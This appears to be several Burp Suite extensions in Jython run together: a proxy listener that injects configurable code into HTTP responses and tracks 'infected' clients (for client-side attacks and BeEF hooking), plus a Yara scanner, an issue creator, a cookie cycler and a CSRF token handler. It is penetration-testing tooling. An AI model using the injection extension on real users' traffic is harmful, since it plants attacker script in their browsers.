PrintWriter(callbacks.getStdout(), True) # will contain the IP of infected hosts self._infected = [] # register ourselves as a Proxy listener callbacks.registerProxyListener(self) # log configuration options self._stdout.println("[=] CONFIG: Manage duplicates = [%s]" % (self._duplicates)) self._stdout.println("[=] CONFIG: Targeted MIME type = [%s]" % (self._mime_type)) self._stdout.println("[=] CONFIG: Marker = [%s]" % (self._marker)) self._stdout.println("[=] CONFIG: Code = [%s]" % (self._code)) self._stdout.println("[=] CONFIG: Check scope = [%s]" % (self._infect_only_in_scope)) self._stdout.println("[=] CONFIG: Verbose = [%s]" % (self._verbose)) return # # implement IBurpListener # def processProxyMessage(self, messageIsRequest, message): # do not process requests if messageIsRequest: return # get the IP of the client client = message.getClientIpAddress().getHostAddress() # get an unique reference to this message ref = message.getMessageReference() # parse the response response = message.getMessageInfo().getResponse() parsed_response = self._helpers.analyzeResponse(response) # parse the corresponding request request = message.getMessageInfo() parsed_request = self._helpers.analyzeRequest(request) # manage duplicates if self._duplicates == 0: # infect every request / not really useful pass elif self._duplicates == 1: # one infection by source IP address / useful when deploying client-side attacks sig = client elif self._duplicates == 2: # one infection by source IP address and service / useful when using BeEF service = message.getMessageInfo().getHttpService() sig = client + "||" + service.getProtocol() + "://" + service.getHost() + ":" + str(service.getPort()) elif self._duplicates == 3: # one infection by source IP address and URL / useful when injecting FireBug Lite sig = client + "||" + str(parsed_request.getUrl()) # if needed, do not process already infected hosts if (self._duplicates != 0) and (sig in self._infected): # self._stdout.println("[-] #%d (%s) Sig is [%s]" % (ref, client, sig)) if self._verbose: self._stdout.println("[-] #%d (%s) Response was NOT infected (already infected)" % (ref, client)) return # if needed, do not process out of scope messages if self._infect_only_in_scope and not self._callbacks.isInScope(parsed_request.getUrl()): if self._verbose: self._stdout.println("[-] #%d (%s) Response was NOT infected (not in scope)" % (ref, client)) return # check MIME type inferred_mime_type = parsed_response.getInferredMimeType() stated_mime_type = parsed_response.getStatedMimeType() if inferred_mime_type != self._mime_type: if self._verbose: self._stdout.println("[!] #%d (%s) Response was NOT infected (MIME type != '%s')" % (ref, client, self._mime_type)) return # extract the body and headers headers = parsed_response.getHeaders() body = response[parsed_response.getBodyOffset():] # infect only if the marker is found in the body if not self._marker in body.tostring(): if self._verbose: self._stdout.println("[-] #%d (%s) Response was NOT infected (no marker in body)" % (ref, client)) return # infect the body and convert to bytes infected_body = self._helpers.bytesToString(body.tostring().replace(self._marker, self._code)) self._stdout.println("[+] #%d (%s) Response was infected! %s" % (ref, client, str(parsed_request.getUrl()))) # if needed, add this signature to the list of infected ones if self._duplicates != 0: self._infected.append(sig) # update the response (will also update the Content-Length header) message.getMessageInfo().setResponse(self._helpers.buildHttpMessage(headers, infected_body)) # tag the message in Proxy / History message.getMessageInfo().setComment("Source '%s' was infected!" % client) message.getMessageInfo().setHighlight("yellow") return
def registerExtenderCallbacks(self, callbacks): # Initialize the global stdout stream global stdout # Keep a reference to our callbacks object self._callbacks = callbacks # Obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Burpsuite Yara Scanner") # Create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) splitpane.setLeftComponent(scrollPane) # Options panel optionsPanel = JPanel() optionsPanel.setLayout(GridBagLayout()) constraints = GridBagConstraints() yara_exe_label = JLabel("Yara Executable Location:") constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 0 constraints.gridy = 0 optionsPanel.add(yara_exe_label, constraints) self._yara_exe_txtField = JTextField(25) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 0 optionsPanel.add(self._yara_exe_txtField, constraints) yara_rules_label = JLabel("Yara Rules File:") constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 0 constraints.gridy = 1 optionsPanel.add(yara_rules_label, constraints) self._yara_rules_files = Vector() self._yara_rules_files.add("< None >") self._yara_rules_fileList = JList(self._yara_rules_files) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 1 optionsPanel.add(self._yara_rules_fileList, constraints) self._yara_rules_select_files_button = JButton("Select Files") self._yara_rules_select_files_button.addActionListener(self) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 2 optionsPanel.add(self._yara_rules_select_files_button, constraints) self._yara_clear_button = JButton("Clear Yara Results Table") self._yara_clear_button.addActionListener(self) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 3 optionsPanel.add(self._yara_clear_button, constraints) # Tabs with request/response viewers viewerTabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) viewerTabs.addTab("Request", self._requestViewer.getComponent()) viewerTabs.addTab("Response", self._responseViewer.getComponent()) splitpane.setRightComponent(viewerTabs) # Tabs for the Yara output and the Options self._mainTabs = JTabbedPane() self._mainTabs.addTab("Yara Output", splitpane) self._mainTabs.addTab("Options", optionsPanel) # customize our UI components callbacks.customizeUiComponent(splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(viewerTabs) callbacks.customizeUiComponent(self._mainTabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # add ourselves as a context menu factory callbacks.registerContextMenuFactory(self) # Custom Menu Item self.menuItem = JMenuItem("Scan with Yara") self.menuItem.addActionListener(self) # obtain our output stream stdout = PrintWriter(callbacks.getStdout(), True) # Print a startup notification stdout.println("Burpsuite Yara scanner initialized.")
class BurpExtender(IBurpExtender, ITab, IScannerCheck, IScannerInsertionPoint, IContextMenuFactory): # definitions EXTENSION_NAME="IssueCreator" tmpl = dict() tmpl['XSS'] = dict() tmpl['XSS']['name'] = 'Cross-Site Scripting (reflected)' tmpl['XSS']['idetail'] = 'It is possible to inject arbitrary JavaScript into the application\'s response' tmpl['XSS']['ibackground'] = '''Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes. Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method). The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk. ''' tmpl['XSS']['rdetail'] = ''''Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized. User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc). In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task. ''' tmpl['XSS']['rbackground'] = 'do not trust user input!' tmpl['SQLi'] = dict() tmpl['SQLi']['name'] = 'SQL Injection' tmpl['SQLi']['idetail'] = 'Input parameter appears to be vulnerable to SQL injection attacks.' tmpl['SQLi']['ibackground'] = '''SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query. Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands. ''' tmpl['SQLi']['rdetail'] = '''The most effective way to prevent SQL injection attacks is to use parameterized queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterized queries. It is strongly recommended that you parameterize every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application. ''' tmpl['SQLi']['rbackground'] = 'SQL Injection background' tmpl['Insecure-Cookie'] = dict() tmpl['Insecure-Cookie']['name'] = 'Cookie Was Set Without Secure Flag' tmpl['Insecure-Cookie']['idetail'] = 'Application has set a secure cookie without the secure attribute' tmpl['Insecure-Cookie']['ibackground'] = 'Client will send this cookie over the clear via http. This could be eavesdropped on.' tmpl['Insecure-Cookie']['rdetail'] = 'The application should set all cookies that are session related or sensitive in nature with the secure attribute.' tmpl['Insecure-Cookie']['rbackground'] = '...' tmpl['Your-Item'] = dict() tmpl['Your-Item']['name'] = 'My issue name' tmpl['Your-Item']['idetail'] = 'My issue detail' tmpl['Your-Item']['ibackground'] = 'the issue background here' tmpl['Your-Item']['rdetail'] = '''the remediation detail. i'll put this in triple quotes. because. ''' tmpl['Your-Item']['rbackground'] = 'this is remediation background information for my issue' def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # define stdout writer self._stdout = PrintWriter(callbacks.getStdout(), True) self._stdout.println(self.EXTENSION_NAME + ' by @luxcupitor') self._stdout.println('================================') self._stdout.println('') self._stdout.println('TIP: right click on items in proxy or repeater tab') self._stdout.println('and select "Add as Issue to Scanner".') self._stdout.println('') # set our extension name callbacks.setExtensionName(self.EXTENSION_NAME) # setup a context menu for the proxy tab. needs createMenuItems callbacks.registerContextMenuFactory(self) return def createMenuItems(self, caller): '''caller is the burpsuite context that invoked the menu''' menu = [] #Proxy tab is context 6/repeater request is 0/repeater response is 3 idx = caller.getInvocationContext() if idx == 6 or idx == 0 or idx == 3: menu.append(JMenuItem("Add as Issue to Scanner", None, actionPerformed=lambda x, c=caller: self.launchGui(c))) return menu if menu else None def getMatches(self, response, match): '''This finds our pattern match in the request/response and returns an int array''' start = 0 count = 0 matches = [array('i')] while start < len(response): start=self._helpers.indexOf(response, match, True, start, len(response)) if start == -1: break try: matches[count] except: matches.append(array('i')) matches[count].append(start) matches[count].append(start+len(match)) start += len(match) count += 1 return matches def logScanIssue(self, baseRequestResponse): '''This is redundant (mostly) of the doPassiveScan function''' reqPATTERN=self.reqPattern.text resPATTERN=self.resPattern.text ISSUE_NAME=self.issueNameField.text ISSUE_DETAIL=self.issueDetailField.text ISSUE_BACKGROUND=self.issueBackgroundField.text REMEDIATION_BACKGROUND=self.remediationBackgroundField.text REMEDIATION_DETAIL=self.remediationDetailField.text if self.radioBtnSevHigh.isSelected(): SEVERITY="High" elif self.radioBtnSevMedium.isSelected(): SEVERITY="Medium" else: SEVERITY="Low" CONFIDENCE="Certain" self._stdout = PrintWriter(self._callbacks.getStdout(), True) self._stdout.println('logScanIssue has been called') self._stdout.println('[-] ISSUE_NAME: ' + ISSUE_NAME) self._stdout.println('[-] ISSUE_DETAIL: ' + ISSUE_DETAIL) self._stdout.println('[-] ISSUE_BACKGROUND: ' + ISSUE_BACKGROUND) self._stdout.println('[-] REMEDIATION_DETAIL: ' + REMEDIATION_DETAIL) self._stdout.println('[-] REMEDIATION_BACKGROUND: ' + REMEDIATION_BACKGROUND) self._stdout.println('[-] SEVERITY: ' + SEVERITY) self._stdout.println('[-] CONFIDENCE: ' + CONFIDENCE) match = False if reqPATTERN == "": reqmatch = None else: reqmatch = self.getMatches(baseRequestResponse.getRequest(), reqPATTERN) match = True if resPATTERN == "": resmatch = None else: resmatch = self.getMatches(baseRequestResponse.getResponse(), resPATTERN) match = True if match: httpmsgs = [self._callbacks.applyMarkers(baseRequestResponse,reqmatch,resmatch)] issue=ScanIssue(baseRequestResponse.getHttpService(), self._helpers.analyzeRequest(baseRequestResponse).getUrl(), httpmsgs, ISSUE_NAME, ISSUE_DETAIL, SEVERITY, CONFIDENCE, ISSUE_BACKGROUND, REMEDIATION_DETAIL, REMEDIATION_BACKGROUND) self._callbacks.addScanIssue(issue) self.closeUI(None) return def launchGui(self, caller): self._stdout = PrintWriter(self._callbacks.getStdout(), True) self._stdout.println('Launching gui') callMessage = caller.getSelectedMessages() self.msg1 = callMessage[0] #setup frame self.frame = JFrame('Create Issue', windowClosing=self.closeUI) Border = BorderFactory.createLineBorder(Color.BLACK) #create split panel to add issue panel and template panel self.splitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) self.frame.add(self.splitPane) #panel setup and add to splitPane self.issuePanel = JPanel(GridLayout(0,2)) self.splitPane.setLeftComponent(self.issuePanel) #setup issue name text fields to add to panel self.issueNameField = JTextField('',15) self.issueNameLabel = JLabel("IssueName:", SwingConstants.CENTER) self.issuePanel.add(self.issueNameLabel) self.issuePanel.add(self.issueNameField) #add issue detail text area self.issueDetailField = JTextArea() self.issueDetailField.editable = True self.issueDetailField.wrapStyleWord = True self.issueDetailField.lineWrap = True self.issueDetailField.alignmentX = Component.LEFT_ALIGNMENT self.issueDetailField.size = (200, 20) self.issueDetailField.setBorder(Border) self.idfSp = JScrollPane() self.idfSp.getViewport().setView((self.issueDetailField)) self.issuePanel.add(JLabel("Issue Detail:", SwingConstants.CENTER)) self.issuePanel.add(self.idfSp) self.issueBackgroundField= JTextArea() self.issueBackgroundField.editable = True self.issueBackgroundField.wrapStyleWord = True self.issueBackgroundField.lineWrap = True self.issueBackgroundField.alignmentX = Component.LEFT_ALIGNMENT self.issueBackgroundField.size = (200, 20) self.issueBackgroundField.setBorder(Border) self.ibfSp = JScrollPane() self.ibfSp.getViewport().setView((self.issueBackgroundField)) self.issuePanel.add(JLabel("Issue Background:", SwingConstants.CENTER)) self.issuePanel.add(self.ibfSp) #add remediation detail text area self.remediationDetailField = JTextArea() self.remediationDetailField.editable = True self.remediationDetailField.wrapStyleWord = True self.remediationDetailField.lineWrap = True self.remediationDetailField.alignmentX = Component.LEFT_ALIGNMENT self.remediationDetailField.size = (200, 20) self.remediationDetailField.setBorder(Border) self.rdfSp = JScrollPane() self.rdfSp.getViewport().setView((self.remediationDetailField)) self.issuePanel.add(JLabel("Remediation Detail:", SwingConstants.CENTER)) self.issuePanel.add(self.rdfSp) self.remediationBackgroundField= JTextArea() self.remediationBackgroundField.editable = True self.remediationBackgroundField.wrapStyleWord = True self.remediationBackgroundField.lineWrap = True self.remediationBackgroundField.alignmentX = Component.LEFT_ALIGNMENT self.remediationBackgroundField.size = (200, 20) self.remediationBackgroundField.setBorder(Border) self.rbfSp = JScrollPane() self.rbfSp.getViewport().setView((self.remediationBackgroundField)) self.issuePanel.add(JLabel("Remediation Background:", SwingConstants.CENTER)) self.issuePanel.add(self.rbfSp) #add radio buttons for severity self.radioBtnSevHigh = JRadioButton('High', actionPerformed=None) self.radioBtnSevMedium = JRadioButton('Medium', actionPerformed=None) self.radioBtnSevLow = JRadioButton('Low', actionPerformed=None) severityButtonGroup = ButtonGroup() severityButtonGroup.add(self.radioBtnSevHigh) severityButtonGroup.add(self.radioBtnSevMedium) severityButtonGroup.add(self.radioBtnSevLow) self.radioBtnSevHigh.setSelected(True) self.issuePanel.add(JLabel("Severity:", SwingConstants.CENTER)) self.issuePanel.add(self.radioBtnSevHigh) self.issuePanel.add(self.radioBtnSevMedium) self.issuePanel.add(self.radioBtnSevLow) self.reqPattern = JTextField('',15) self.issuePanel.add(JLabel("Mark Pattern in Request:", SwingConstants.CENTER)) self.issuePanel.add(self.reqPattern) self.resPattern = JTextField('',15) self.issuePanel.add(JLabel("Mark Pattern in Response:", SwingConstants.CENTER)) self.issuePanel.add(self.resPattern) #add a button self.issueButton = JButton('Add!', actionPerformed=lambda x, m=self.msg1: self.logScanIssue(m)) self.issuePanel.add(self.issueButton) #template panel setup self.templatePanel = JPanel(GridLayout(1,2)) self.splitPane.setRightComponent(self.templatePanel) #add a list of templates self.templatePanel.add(JLabel("Select from Templates", SwingConstants.CENTER)) self.templateData = tuple(self.tmpl.keys()) self.templateList = JList(self.templateData) self.templateScrollPane = JScrollPane() #self.templateScrollPane.setPreferredSize(Dimension(100,125)) self.templateScrollPane.getViewport().setView((self.templateList)) self.templatePanel.add(self.templateScrollPane) self.templateButton = JButton('Apply', actionPerformed=self.applyTemplate) self.templatePanel.add(self.templateButton) #pack up the frame and display it self.frame.pack() self.show() def applyTemplate(self, event): selected = self.templateList.selectedIndex if selected >= 0: self.issueNameField.text = self.tmpl[self.templateData[selected]]['name'] self.issueDetailField.text = self.tmpl[self.templateData[selected]]['idetail'] self.issueBackgroundField.text = self.tmpl[self.templateData[selected]]['ibackground'] self.remediationDetailField.text = self.tmpl[self.templateData[selected]]['rdetail'] self.remediationBackgroundField.text = self.tmpl[self.templateData[selected]]['rbackground'] def show(self): self.frame.visible = True def closeUI(self, event): self.frame.setVisible(False) self.frame.dispose()
class BurpExtender(IBurpExtender,IHttpListener,IContextMenuFactory): cookie_names = ["PHPSESSID", "JSESSIONID","statid"] check_cookie_names = False jar = {} # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): self._cb = callbacks self.helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Cookie Cycler") # obtain our output and error streams self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) self.stdout.println(EXTENSION_INFO) # register ourselves as an HTTP listener #callbacks.registerHttpListener(self) # disabled, too much noise callbacks.registerContextMenuFactory(self) # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if messageIsRequest: # response, look for cookies msg = self.helpers.analyzeResponse(messageInfo.getResponse()[0:SCAN_LIMIT]) else: msg = self.analyzeRequestWithCookies(messageInfo.getRequest()[0:SCAN_LIMIT]) for cookie in msg.getCookies(): self.add_to_jar(cookie) return def createMenuItems(self,invocation): menu = [] bounds = invocation.getSelectionBounds() ctx = invocation.getInvocationContext() if bounds and (bounds[0] != bounds[1]) and (ctx in [invocation.CONTEXT_MESSAGE_VIEWER_REQUEST, invocation.CONTEXT_MESSAGE_EDITOR_REQUEST, invocation.CONTEXT_MESSAGE_EDITOR_RESPONSE, invocation.CONTEXT_MESSAGE_VIEWER_RESPONSE]): menu.append(JMenuItem("Scan cookies in selection", None, actionPerformed=lambda x, inv=invocation: self.scan_cookies_in_selection(inv))) if ctx in [invocation.CONTEXT_MESSAGE_VIEWER_REQUEST, invocation.CONTEXT_MESSAGE_EDITOR_REQUEST, invocation.CONTEXT_MESSAGE_EDITOR_RESPONSE, invocation.CONTEXT_MESSAGE_VIEWER_RESPONSE, invocation.CONTEXT_PROXY_HISTORY]: menu.append(JMenuItem("Scan cookies", None, actionPerformed=lambda x, inv=invocation: self.scan_cookies(inv))) if invocation.getInvocationContext() in [invocation.CONTEXT_MESSAGE_EDITOR_REQUEST]: r = self.analyzeRequestWithCookies(invocation.getSelectedMessages()[0].getRequest()[0:SCAN_LIMIT]) for c in r.getCookies(): s = self.sizeof_jar(c.getName()) if s: menu.append(JMenuItem("Cycle %s (%d)" % (c.getName(), s), None, actionPerformed=lambda x, n=c.getName(), v=c.getValue(), inv=invocation: self.cycle_cookie(inv, n, v))) for i in self.jar: menu.append(JMenuItem("Remove %s from cycler (%d)" % (i, self.sizeof_jar(i)), None, actionPerformed=lambda x, n=i: self.remove_from_jar(n))) return menu if menu else None def add_to_jar(self,cookie): if self.check_cookie_names and (cookie.getName() not in self.cookie_names): return False if not self.jar.has_key(cookie.getName()): self.jar[cookie.getName()] = {'items': [], 'current': 0} if not cookie.getValue() in self.jar[cookie.getName()]['items']: self.stdout.println("Add cookie %s=%s" % (cookie.getName(), cookie.getValue())) self.jar[cookie.getName()]['items'].append(cookie.getValue()) return True def remove_from_jar(self, name): self.stdout.println("Remove all %s cookies " % name) del self.jar[name] def has_in_jar(self, name): return self.jar.has_key(name) def sizeof_jar(self, name): if not self.has_in_jar(name): return 0 return len(self.jar[name]['items']) def get_next_from_jar(self, name, current_value = None): self.stdout.println(self.jar) if not self.jar.has_key(name): return None index = self.jar[name]['current'] if current_value is not None: try: index = self.jar[name]['items'].index(current_value) except ValueError: pass # get next index = (index + 1) % len(self.jar[name]['items']) self.jar[name]['current'] = index new_value = self.jar[name]['items'][index] self.stdout.println("%s %s => %s" % (name, current_value, new_value)) return new_value def analyzeRequestWithCookies(self,request): return IRequestInfoWrapper(self.helpers.analyzeRequest(request[0:SCAN_LIMIT])) #menu items def cycle_cookie(self, invocation, cookie_name, old_value=""): req = self.helpers.bytesToString(invocation.getSelectedMessages()[0].getRequest()) new_value = self.get_next_from_jar(cookie_name, old_value) req = req.replace(cookie_name + '=' + old_value, cookie_name + '=' + new_value) invocation.getSelectedMessages()[0].setRequest(self.helpers.stringToBytes(req)) def scan_cookies_in_selection(self, invocation): bounds = invocation.getSelectionBounds() if not bounds or not len(invocation.getSelectedMessages()): return msg = invocation.getSelectedMessages()[0] if invocation.getInvocationContext() in [invocation.CONTEXT_MESSAGE_VIEWER_REQUEST,invocation.CONTEXT_MESSAGE_EDITOR_REQUEST]: msg = msg.getRequest() elif invocation.getInvocationContext() in [invocation.CONTEXT_MESSAGE_EDITOR_RESPONSE, invocation.CONTEXT_MESSAGE_VIEWER_RESPONSE]: msg = msg.getResponse() dummy = IRequestInfoWrapper(object()) cookies = dummy.extractCookiesFromString(self.helpers.bytesToString(msg[bounds[0]:bounds[1]])) for c in cookies: self.add_to_jar(c) def scan_cookies(self, invocation): ctx = invocation.getInvocationContext() scan_request = True scan_response = True if ctx in [invocation.CONTEXT_MESSAGE_VIEWER_REQUEST, invocation.CONTEXT_MESSAGE_EDITOR_REQUEST]: scan_response = False if ctx in [invocation.CONTEXT_MESSAGE_VIEWER_RESPONSE, invocation.CONTEXT_MESSAGE_EDITOR_RESPONSE]: scan_request = False for m in invocation.getSelectedMessages(): if scan_request and m.getRequest(): msg = self.analyzeRequestWithCookies(m.getRequest()[0:SCAN_LIMIT]) for c in msg.getCookies(): self.add_to_jar(c) if scan_response and m.getResponse(): msg = self.helpers.analyzeResponse(m.getResponse()[0:SCAN_LIMIT]) for c in msg.getCookies(): self.add_to_jar(c)
class BurpExtender(IBurpExtender, IHttpListener): ############## # SETTINGS # ############## DEBUG = Yes ignore_OutOfScope_RequestResponses = Yes # this will be part of extension name --> CSRF Handling (_config_name_) SETUP_NAME = '_config_name_' # Search given sequence in *responses* and replace *request params* with response derived values CSRF_Tokens = \ { # param name CSRF extraction rules 'token_name': [ #dict(start='?token=', stop='\n', chars_remove='\r', status_code=[302, 301]), dict(start='<input type="hidden" name="token" value="', stop='"'), ] } # Replace string in *requests* Request_Literal_Replace = \ [ #dict(match='before', replace='after'), ] # Replace string in *responses* Response_Literal_Replace = \ [ #dict(match='before', replace='after'), ] ########## # CODE # ########## # CSRF_Values # callbacks # helpers # stdout # stderr def registerExtenderCallbacks(self, callbacks): self.callbacks = callbacks self.helpers = callbacks.getHelpers() self.stdout = PrintWriter(callbacks.getStdout(), True) self.stderr = PrintWriter(callbacks.getStderr(), True) callbacks.setExtensionName('CSRF Handling ('+self.SETUP_NAME+')') callbacks.registerHttpListener(self) self.CSRF_Values = dict() for i in self.CSRF_Tokens.keys(): self.CSRF_Values[i] = None if self.DEBUG: self.stdout.println('[*] Debug enabled') # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if self.ignore_OutOfScope_RequestResponses or self.callbacks.isInScope(self.helpers.analyzeRequest(messageInfo).getUrl()): # process request if messageIsRequest: for i in self.Request_Literal_Replace: orig_request = self.helpers.bytesToString(messageInfo.getRequest()) if orig_request.find(i['match']) != -1: messageInfo.setRequest(self.helpers.stringToBytes(orig_request.replace(i['match'],i['replace']))) if self.DEBUG: self.stdout.println('[*] Request Literal Replace: "'+i['match']+'" -> "'+i['replace']+'"') for i in filter(lambda x: self.CSRF_Values[x] != None, self.CSRF_Values.keys()): orig_parameter = self.helpers.getRequestParameter(messageInfo.getRequest(), i) if orig_parameter != None: new_parameter = self.helpers.buildParameter(i, self.CSRF_Values[i], orig_parameter.getType()) messageInfo.setRequest(self.helpers.updateParameter(messageInfo.getRequest(), new_parameter)) if self.DEBUG: self.stdout.println('--> Set token: '+i+' = "'+self.CSRF_Values[i]+'"') # process response else: for i in self.Response_Literal_Replace: orig_response = self.helpers.bytesToString(messageInfo.getResponse()) if orig_response.find(i['match']) != -1: messageInfo.setResponse(self.helpers.stringToBytes(orig_response.replace(i['match'],i['replace']))) if self.DEBUG: self.stdout.println('[*] Response Literal Replace: "'+i['match']+'" -> "'+i['replace']+'"') if self.CSRF_Tokens.keys(): for i in self.CSRF_Tokens.keys(): conditions = self.CSRF_Tokens[i] if not isinstance(conditions, list): conditions = [conditions] for search in conditions: if 'status_code' in search: status_codes = search['status_code'] if not isinstance(status_codes, list): status_codes = [status_codes] match = False status_code = str(self.helpers.analyzeResponse(messageInfo.getResponse()).getStatusCode()) for j in status_codes: if str(j) == status_code: match = True if not match: continue response = self.helpers.bytesToString(messageInfo.getResponse()) if 'chars_remove' in search: for j in search['chars_remove']: response = response.replace(j,'') start_index = response.find(search['start']) if start_index != -1: start_index += len(search['start']) stop_index = response[start_index:].find(search['stop']) if stop_index != -1: stop_index += start_index self.CSRF_Values[i] = response[start_index:stop_index] if self.DEBUG: self.stdout.println('<-- Got token: '+i+' = "'+response[start_index:stop_index]+'"')